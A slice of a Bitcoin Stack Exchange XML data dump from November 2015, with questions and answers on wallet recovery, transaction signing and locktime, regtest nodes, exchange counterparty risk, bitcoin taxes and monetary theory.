  <row Id="41319" PostTypeId="2" ParentId="9127" CreationDate="2015-11-10T22:21:43.980" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Run JackJack's pywallet.py:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python2.7 pywallet.py --dumpwallet --datadir=/tmp | \&#xA;grep addr | sort | uniq | awk -F'&quot;' '{print $4}' &amp;gt; \&#xA;~/tmp/wallet_dump.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get balances from reports for each address using a web-scraping script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python3 addrep.py ~/tmp/wallet_dump.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;example results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;121a2C6kbqaPDrRDsbfZFNafcLBDZMum3p: 0 BTC&#xA;129oeaukHtXR8xiPqV8Mnb7p6hs9Ev3VwX: 0 BTC&#xA;12F9DRQRw2wmGrFUiZRQFk9cG2NtEBxYDv: 0 BTC&#xA;137wgZG4TSNw7Zqt4WrEHS7w2bgfeqXkkZ: 0 BTC&#xA;13PNjSy4b372f2jMVrHHLZnXXqgAArhwD8: 0 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;refs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jackjack-jj/pywallet/blob/master/pywallet.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jackjack-jj/pywallet/blob/master/pywallet.py&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/joshuaburkhart/pywallet/blob/master/addrep.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joshuaburkhart/pywallet/blob/master/addrep.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30473" LastActivityDate="2015-11-10T22:21:43.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41320" PostTypeId="1" AcceptedAnswerId="41348" CreationDate="2015-11-11T01:08:47.890" Score="3" ViewCount="194" Body="&lt;p&gt;Somewhere in the possible near/far future when there might not be any major fiat anywhere. What will Bitcoin's purchasing power be measured in?&lt;/p&gt;&#xA;" OwnerUserId="30384" LastEditorUserId="5406" LastEditDate="2015-11-11T11:04:37.290" LastActivityDate="2015-11-19T08:58:44.090" Title="How would Bitcoin's purchasing power be measured after fiat were gone?" Tags="|exchange-rate|currencies|value|money|adoption|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41321" PostTypeId="1" CreationDate="2015-11-11T02:25:01.257" Score="1" ViewCount="1344" Body="&lt;p&gt;I am building a website and wish to have a deposit bitcoin widget on website.&#xA;I want to have xapo api to generate new address and get callbacks from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me figuring out the xapo's api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read its documentation over 10 times and still cannot find out that how to integrate it with php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me on it.&#xA;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By Deposit widget I meant the deposit page, how it generates new addresses and gets the notification of payment received by a specific user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to xapo api documentation.&#xA;&lt;a href=&quot;http://docs.xapo.apiary.io&quot; rel=&quot;nofollow&quot;&gt;http://docs.xapo.apiary.io&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30424" LastEditorUserId="30424" LastEditDate="2015-11-11T12:58:06.830" LastActivityDate="2015-11-11T22:18:28.350" Title="Xapo api tutorials" Tags="|api|website-integration|faucets|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41322" PostTypeId="1" CreationDate="2015-11-11T05:57:28.440" Score="1" ViewCount="80" Body="&lt;p&gt;We are running two bitcoin nodes on two different servers with fixed ip addresses in regtest mode.  We have forked version 0.11 of bitcoind and decreased the time between blocks to simulate various scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the config, we use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;regtest=1&#xA;listen=1&#xA;addnode=10.80.233.12:19000&#xA;port=19000&#xA;rpcport=19001&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a day or so, or around 100000 blocks, the two servers disconnect.  getpeerinfo shows no connections and the blockchain is forked.  A restart is required to bring them back into synch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has happened consistently over the last couple of days.  Does anyone know why and what we can do to fix it?&lt;/p&gt;&#xA;" OwnerUserId="29377" LastActivityDate="2015-11-11T05:57:28.440" Title="Bitcoin disconnects randomly in regtest mode" Tags="|bitcoind|regtest|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41324" PostTypeId="1" CreationDate="2015-11-11T09:29:03.613" Score="3" ViewCount="59" Body="&lt;p&gt;From &lt;a href=&quot;http://bitcoin-class.org/ps/ps3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;question 3 in a project titled &lt;em&gt;Blockchain: CSI&lt;/em&gt;&lt;/a&gt; (in what looks like a &lt;em&gt;&lt;strong&gt;very cool&lt;/strong&gt;&lt;/em&gt; class, run by University of Virginia!):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Problem 3. The Heuristic 1 (Section 4.3) used to detemine sets of public addresses owned by the same entity is based on the assumption that all inputs to a bitcoin transaction are controlled by the same entity. According to the paper, “&lt;em&gt;&lt;strong&gt;the sender in the transaction must know the private signing key belonging to each public key used as an input, so it is unlikely that the collection of public keys are controlled by multiple entities&lt;/strong&gt;&lt;/em&gt; (as these entities would need to reveal their private keys to each other).” Explain why this is not actually true. (A good answer will consider in more detail what is needed in the unlocking script to spend each input.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How is this a flawed assumption?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="121614" LastEditDate="2021-12-27T16:34:37.463" LastActivityDate="2021-12-27T16:34:37.463" Title="Why would a Tx's inputs not be assumed to be owned by a single service?" Tags="|blockchain|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41325" PostTypeId="2" ParentId="41324" CreationDate="2015-11-11T09:43:09.027" Score="3" Body="&lt;p&gt;Because it's possible to only partially sign a transaction (for example only one input) and then give that unfinished transaction to another party, who can then finish the transaction with their signature (for another input). Parties do not need to reveal their private keys to each other at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only after all parties signed can the transaction be sent to the bitcoin network. A partially signed transaction would always be refused.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-11-11T09:43:09.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41326" PostTypeId="2" ParentId="18445" CreationDate="2015-11-11T10:36:33.097" Score="1" Body="&lt;p&gt;The answer is right, but you always have to think about Transaction Malleability, so that your transaction's ID could easily change during mining process when it will be in the network. So that, you can't trust offline calculated transaction ID, and have to wait until your transction will be confirmed by the network to depend something on its ID.&lt;/p&gt;&#xA;" OwnerUserId="30479" LastActivityDate="2015-11-11T10:36:33.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41327" PostTypeId="2" ParentId="37717" CreationDate="2015-11-11T11:02:05.120" Score="0" Body="&lt;p&gt;7 transactions per second times 60 equals per minute times 60 equals per hour times 24 equals per day = 604800 satoshis sent in individual transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, nodes filter such so-called &quot;dust&quot; transactions. The minimum output amount for a transaction to be relayed by the network is 546 satoshis. So: 330220800 satoshis = 3.302208 BTC to fill the network for a day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As explained in, &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/37z9ln/how_much_btc_needed_to_fill_entire_1_mb_block/crqzv63&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/37z9ln/how_much_btc_needed_to_fill_entire_1_mb_block/crqzv63&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2015-11-11T11:02:05.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41328" PostTypeId="2" ParentId="41316" CreationDate="2015-11-11T12:36:52.473" Score="1" Body="&lt;p&gt;i had the &lt;code&gt;locktime&lt;/code&gt; field of the spending transaction accidentally set to &lt;code&gt;0&lt;/code&gt; when in fact it is &lt;code&gt;272295&lt;/code&gt; for this transaction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;hash&quot;: &quot;7edb32d4ffd7a385b763c7a8e56b6358bcd729e747290624e18acdbe6209fc45&quot;,&#xA;    &quot;num_inputs&quot;: 1,&#xA;    &quot;input&quot;: {&#xA;        &quot;0&quot;: {&#xA;            &quot;funds&quot;: 990000,&#xA;            &quot;hash&quot;: &quot;40eee3ae1760e3a8532263678cdf64569e6ad06abc133af64f735e52562bccc8&quot;,&#xA;            &quot;index&quot;: 0,&#xA;            &quot;parsed_script&quot;: &quot;OP_FALSE OP_PUSHDATA0(72) 3045022100ad0851c69dd756b45190b5a8e97cb4ac3c2b0fa2f2aae23aed6ca97ab33bf88302200b248593abc1259512793e7dea61036c601775ebb23640a0120b0dba2c34b79001 OP_PUSHDATA0(69) 5141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51ae&quot;,  &#xA;            &quot;script_length&quot;: 144,&#xA;            &quot;sequence_num&quot;: 4294967294&#xA;        }&#xA;    },&#xA;    &quot;lock_time&quot;: 272295,&#xA;    &quot;num_outputs&quot;: 1,&#xA;    &quot;output&quot;: {&#xA;        &quot;0&quot;: {&#xA;            &quot;addresses&quot;: [&#xA;                &quot;13fLLox43yXYvfoZadXpGbkTUXkW8bhqut&quot;&#xA;            ],&#xA;            &quot;funds&quot;: 980000,&#xA;            &quot;parsed_script&quot;: &quot;OP_DUP OP_HASH160 OP_PUSHDATA0(20) 1d30342095961d951d306845ef98ac08474b36a0 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;script_length&quot;: 25&#xA;        }&#xA;    },&#xA;    &quot;size&quot;: 229,&#xA;    &quot;version&quot;: 1&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the serialized tx with the txin 0 script replaced with the following script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_TRUE&#xA;OP_PUSHDATA0(65)&#xA;042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf&#xA;OP_TRUE&#xA;OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should actually be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001c8cc2b56525e734ff63a13bc6ad06a9e5664df8c67632253a8e36017aee3ee4000000000455141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51aefeffffff0120f40e00000000001976a9141d30342095961d951d306845ef98ac08474b36a088aca727040001000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;only the final 8 bytes that contain the locktime are different from before: &lt;code&gt;a727040001000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the new serial tx has hash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;607789be41392e6b12735a79bc9ea94573b4e39948badef18ca48e85ee15196d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the signature and pubkey from before were already correct. these evaluate correctly in pybitcointools now, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pybitcointools.ecdsa_raw_verify(tx_hash, pybitcointools.der_decode_sig(bin2hex(signature)), bin2hex(pubkey))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-11-11T12:43:45.747" LastActivityDate="2015-11-11T12:43:45.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41329" PostTypeId="1" CreationDate="2015-11-11T12:45:16.173" Score="5" ViewCount="167" Body="&lt;p&gt;If one were to receive Bitcoins then immediately use a conversion service (for example to PayPal) would gains/losses need to be recorded?&#xA;If so, is there any software that can do this automatically?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="30480" LastActivityDate="2016-03-13T03:00:28.340" Title="Bitcoin taxes question for USA" Tags="|exchange-rate|taxes|" AnswerCount="4" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41331" PostTypeId="1" CreationDate="2015-11-11T17:53:31.150" Score="0" ViewCount="231" Body="&lt;p&gt;I'm using Bitcoin Core on a MacBook Pro. A few month ago my computer crashed and I lost everything, so when I got a new computer I reinstalled Bitcoin Core but now I'm having an issue getting my bitcoins to show up in the newly installed Bitcoin Core. I have both the BTC address and the transaction ID under which the bitcoin were transferred to me when I purchased them and I have tried to add both of these on the page where you request payment, without any luck. Not sure what to do to get my bitcoin back as Bitcoin Core has even finished its synchronisation with the network and they are still not showing up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;M&lt;/p&gt;&#xA;" OwnerUserId="30483" LastActivityDate="2016-03-10T20:11:51.323" Title="Problem getting bitcoins into Bitcoin Core on Mac" Tags="|wallet|bitcoin-core|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41332" PostTypeId="2" ParentId="41331" CreationDate="2015-11-11T18:02:22.927" Score="1" Body="&lt;p&gt;You would need a backup of the old wallet.dat from bitcoind, the bitcoin address and transaction information are available to the public. If you were able to recover funds with that information then anyone would be able to 'recover' your coins. Unless you have made a backup you have most likely lost your coins. In the future make sure you always have a backup of your wallet.dat or private keys/seed words (depending on wallet).&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-11-11T18:17:55.387" LastActivityDate="2015-11-11T18:17:55.387" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="41333" PostTypeId="1" AcceptedAnswerId="41334" CreationDate="2015-11-11T19:54:54.913" Score="0" ViewCount="91" Body="&lt;p&gt;Almost everyone who encounters the idea for the first time (including me) has the same reaction, that can't possibly work. But so far the market has proved the skeptics wrong.&lt;/p&gt;&#xA;" OwnerUserId="30477" LastActivityDate="2015-11-11T20:06:28.050" Title="Why would anyone use a payment network based on an imaginary currency?" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="1" ClosedDate="2015-11-12T10:22:19.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="41334" PostTypeId="2" ParentId="41333" CreationDate="2015-11-11T20:01:10.230" Score="1" Body="&lt;p&gt;The currency you are most likely used to right now is fiat money or in other words &quot;imaginary&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DEFINITION OF 'FIAT MONEY'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Currency that a government has declared to be legal tender, but is not&#xA;  backed by a physical commodity. The value of fiat money is derived&#xA;  from the relationship between supply and demand rather than the value&#xA;  of the material that the money is made of. Historically, most&#xA;  currencies were based on physical commodities such as gold or silver,&#xA;  but fiat money is based solely on faith. Fiat is the Latin word for&#xA;  &quot;it shall be&quot;. &lt;a href=&quot;http://www.investopedia.com/terms/f/fiatmoney.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.investopedia.com/terms/f/fiatmoney.asp&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I would ask you, why do you use an imaginary currency?&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-11-11T20:06:28.050" LastActivityDate="2015-11-11T20:06:28.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41336" PostTypeId="2" ParentId="11029" CreationDate="2015-11-12T00:30:56.837" Score="-1" Body="&lt;p&gt;Interestingly there is a torrent to download a file called &quot;bootstrap.dat&quot;, but: &quot;As of Bitcoin Core version 0.10.0 or later, this torrent is slower than a direct download using the bitcoin P2P protocol &amp;amp; client.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=145386.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5918" LastEditorUserId="5918" LastEditDate="2015-11-24T00:11:44.293" LastActivityDate="2015-11-24T00:11:44.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41337" PostTypeId="1" CreationDate="2015-11-12T01:59:33.380" Score="2" ViewCount="1791" Body="&lt;p&gt;I sent bitcoins to an offline (air gapped) electrum wallet.  I have blockchain.info proof the transaction took place and verification of the balance in the wallet (i used a watch only address to view balance and transaction history of offline wallet)  BUT electrum online wallet synchronizes but does not show updated balance information.  Electrum can find the funding transaction from the blockchain by the transaction id (Tools-&gt;Load transactions-From the blockchain)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum 1.9.8&#xA;debian jessie (kali 2 sana)&#xA;via socks5 thru tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;resources consulted - none have a working fix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/41042/why-i-am-not-seeing-received-money-in-my-electrum#comment47223_41056&quot;&gt;Why I am not seeing received money in my electrum?&lt;/a&gt;&#xA;wallet.clear_history() does not solve the problem for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.&#xA;&lt;a href=&quot;https://github.com/spesmilo/electrum/issues/1525&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/spesmilo/electrum/issues/1525&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1221590.msg12943509#msg12943509&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=1221590.msg12943509#msg12943509&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30491" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-09-07T16:52:53.450" Title="Electrum wallet shows zero balance" Tags="|wallet|electrum|paper-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41339" PostTypeId="2" ParentId="41337" CreationDate="2015-11-12T12:09:47.493" Score="1" Body="&lt;p&gt;did you check that the offline wallet has the same addresses as the online wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw, please upgrade Electrum, version 1.9.8 is too old.&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2015-11-12T12:09:47.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41340" PostTypeId="1" AcceptedAnswerId="41342" CreationDate="2015-11-12T13:21:57.970" Score="3" ViewCount="586" Body="&lt;p&gt;I'm doing research on the above topic, but so far haven't found any or at the most only limitedly valuable articles/data published in recent time (past 6 months).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm interested in is how users are protected against counter-party risks when using an exchange to trade BTC for fiat currency, and if there is any data available as to how often this protection has been necessary and did or didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I'm curious if there are any post-trade security issues (albeit I don't imagine there could be any, asides from the classics like losing your pw, wallet or credentials to the nether or a third party) and general post-trade procedures which alter from the usual bitcoin trade sans exchange service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there numbers declaring these risks? Statistics that are freely accessible, which I might have missed? I've been looking for data the past hour but so far have come up short. Keep in mind, the data should be as fresh as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I do take all kinds of other statements as well - articles, news, reviews. But a neat statistic or similar would quite simply save me the hassle of constructing one myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="30500" LastActivityDate="2015-11-17T14:36:59.010" Title="BTC Exchanges and Counterparty Risk" Tags="|transactions|exchanges|buy-bitcoins|sell-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41342" PostTypeId="2" ParentId="41340" CreationDate="2015-11-12T13:58:36.383" Score="5" Body="&lt;p&gt;To engage in trading on an exchange, you have to make a deposit of either fiat or Bitcoin. As the balances are then managed by the exchange until paid out, there is no counterparty risk to your trading partner: You can only submit buy and sell orders that are funded. Once your order is matched, the exchange can atomically update the balances of the two users in their database:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;When Alice wants to sell one Bitcoin for two hundred dollars, and gets matched to your buy order for one Bitcoin at the same price, your USD balance gets decreased by $200 and hers increased by $200, while her BTC balance gets reduced by 1 BTC, and yours increased by one.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is a counterparty risk to the exchange. The exchange may be e.g. &#xA;a) running faulty software&#xA;b) misappropriate funds&#xA;or c) go bankrupt, &#xA;resulting in failure to perform payouts. This has happened in the past, most notably in the case of MtGox. Currently, I know of reports suggesting that two more exchanges might be unable to honor their liabilities to their users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this end, some exchanges get themselves audited and publish proof of their balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It is therefore advisable to keep informed about exchanges that you entrust with your money, and not to keep money on exchanges that you are not using to trade with.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I cannot serve with a neat statistic on this topic.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-11-12T15:54:27.993" LastActivityDate="2015-11-12T15:54:27.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41343" PostTypeId="2" ParentId="41320" CreationDate="2015-11-12T16:41:16.240" Score="2" Body="&lt;p&gt;It's typical to measure the purchasing power of currencies using something like the &lt;a href=&quot;https://en.wikipedia.org/wiki/Consumer_price_index&quot; rel=&quot;nofollow&quot;&gt;Consumer Price Index&lt;/a&gt;, so this is probably would be used if Bitcoin were to become a dominant currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you would develop a &quot;market basket&quot; of goods and services that people commonly buy, and perform some sort of survey to determine what these goods and services currently cost  (in Bitcoins).  Then take some weighted average to come up with a single number that, roughly speaking, measures the overall Bitcoin price of goods, or equivalently, the purchasing power of a bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-11-12T16:41:16.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41344" PostTypeId="1" CreationDate="2015-11-12T17:11:10.290" Score="1" ViewCount="55" Body="&lt;p&gt;How do you sign messages deterministically with bitcore?&lt;/p&gt;&#xA;" OwnerUserId="30504" LastActivityDate="2015-11-12T17:11:10.290" Title="How to sign messages deterministically with bitcore?" Tags="|javascript|bitcore|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41345" PostTypeId="1" AcceptedAnswerId="41347" CreationDate="2015-11-12T17:53:58.887" Score="1" ViewCount="217" Body="&lt;p&gt;I know that bitcoin is supposed to have an almost fixed supply of 'coins' (with a maximum of 21.000.000 bitcoins) and technically it can't be expanded. If I store my bitcoins in a third-party e-wallet, or I have bitcoins in an account in a bitcoin exchange, for example, is it possible for this third party to lend my bitcoins (through leveraging for example) and thus increase the money supply by creating debt? If so, is there any regulation or fractional reserve requirement for these institutions? And finally, can this expansion of the money supply affect the price of bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="30506" LastEditorUserId="29646" LastEditDate="2015-11-12T18:57:20.857" LastActivityDate="2015-11-12T21:08:42.423" Title="Can the bitcoin supply be expanded?" Tags="|money-supply|inflation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41346" PostTypeId="1" CreationDate="2015-11-12T20:16:13.743" Score="1" ViewCount="649" Body="&lt;p&gt;How can I use my Bitcoin ID created in Bread Wallet on a OSX Desktop app. MultibitHD requires an Date stamp to &quot;recover&quot; passphrase. Is there a Mac app that works with Bread Wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="30510" LastEditorUserId="2306" LastEditDate="2015-11-12T20:21:27.040" LastActivityDate="2015-11-12T20:21:27.040" Title="Bread Wallet on OS X" Tags="|mac|breadwallet|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41347" PostTypeId="2" ParentId="41345" CreationDate="2015-11-12T21:08:42.423" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;[...] is it possible for this third party to lend my bitcoins [...]&quot;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the bitcoins are in your address and only you know the private key of your address, then nobody else can move your bitcoins away from your address.&lt;br&gt;&#xA;However, if you deposit your bitcoins into a third party, theoretically they could do fractional reserve like normal banks do. This would cause an expansion of the currency issued by those third party, but not in the amount of bitcoins available in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;If so, is there any regulation or fractional reserve requirement for these institutions?&quot;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The bitcoin territory is still very much unregulated. The judicial system is debating much broader issues than fractional reserve requirements. For example: there is still an on going debate about whether bitcoin should be consider money or not.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;And finally, can this expansion of the money supply affect the price of bitcoin?&quot;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Although the bitcoin supply in the blockchain is limited to 21Mi, third parties can issue their own currency backed by bitcoins. In a free market, supply and demand would regulate the exchange rate among such currencies and bitcoin.&lt;br&gt;&#xA;Depending on how this expansion of third parties currency take place, this could increase or decrease the bitcoin price.&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2015-11-12T21:08:42.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41348" PostTypeId="2" ParentId="41320" CreationDate="2015-11-12T21:17:58.730" Score="1" Body="&lt;p&gt;If in this hypothetical scenario there weren't any other unit of account available, it would be necessary to use some kind of consumer price index.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, besides fiat currencies, there is also gold as unit of account. So, in case all fiat currencies are gone, you could use gold to measure the purchasing power of bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2015-11-12T21:17:58.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41349" PostTypeId="2" ParentId="37952" CreationDate="2015-11-12T21:41:07.187" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Is there a way to do this (send / receive) without needing to use my private key on a computer connected to the internet?&quot;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, search for 'offline wallet'. The basic idea is the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;download the 'offline wallet' webpage you liked&lt;/li&gt;&#xA;&lt;li&gt;you must be online to fill blanks like addresses, amount and fee&lt;/li&gt;&#xA;&lt;li&gt;sign the transaction while offline and copy it&lt;/li&gt;&#xA;&lt;li&gt;go to a website that broadcast transactions&lt;/li&gt;&#xA;&lt;li&gt;paste your raw transaction already signed and push it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In my opinion, this is the safest way for non-developers to do bitcoin transactions.&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2015-11-12T21:41:07.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41350" PostTypeId="1" AcceptedAnswerId="41357" CreationDate="2015-11-12T21:43:17.050" Score="0" ViewCount="672" Body="&lt;p&gt;Are there any reputable resources or tuts for re-building a Bitcoin/Bitcoin Exchange clone using Ruby/Rails (e.g. Michael Hartl tutorial)? I would like to experiment and learn more about blockchain transactions.  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="30511" LastActivityDate="2015-11-12T23:54:39.940" Title="Recommended resources or tuts for Bitcoin/Bitcoin Exchange clone using Ruby/Rails?" Tags="|blockchain|ruby|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
